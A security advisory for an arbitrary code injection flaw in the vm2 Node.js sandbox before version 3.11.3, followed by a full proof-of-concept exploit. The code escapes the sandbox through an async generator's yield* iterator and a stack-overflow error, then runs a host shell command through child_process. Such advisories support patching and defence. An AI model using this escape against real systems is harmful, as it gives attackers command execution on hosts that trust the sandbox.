Arbitrary Code Injection Affecting vm2 package, versions <3.11.3

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Arbitrary Code Injection through the yield* iterator inside an async generator. An attacker can execute arbitrary commands on the host system by escaping the sandbox environment.

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
class E extends Error {}
function so(d) {
    if (d > 0) so(d-1);
    const e = new E();
    e.stack;
    throw e;
}
async function* helper() {
    yield* {
        [Symbol.asyncIterator]: ()=>({
            next: v=>({value: v, done: false})
        })
    };
}
async function doCatch(f) {
    const i=helper();
    await i.next();
    const v = await i.return({then(r){f();r();}});
    return v.value;
}
(async function f() {
    let min = 0;
    let max = 10000000;
    while (min<max) {
        const mid = (min+max)>>1;
        const e = await doCatch(()=>so(mid));
        if (e.name==="RangeError" && !(e instanceof RangeError)) {
            e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
            return;
        }
        if (e instanceof E) {
            min = mid+1;
        } else {
            max = mid;
        }
    }
})();
`));

• GitHub Advisory
• GitHub Commit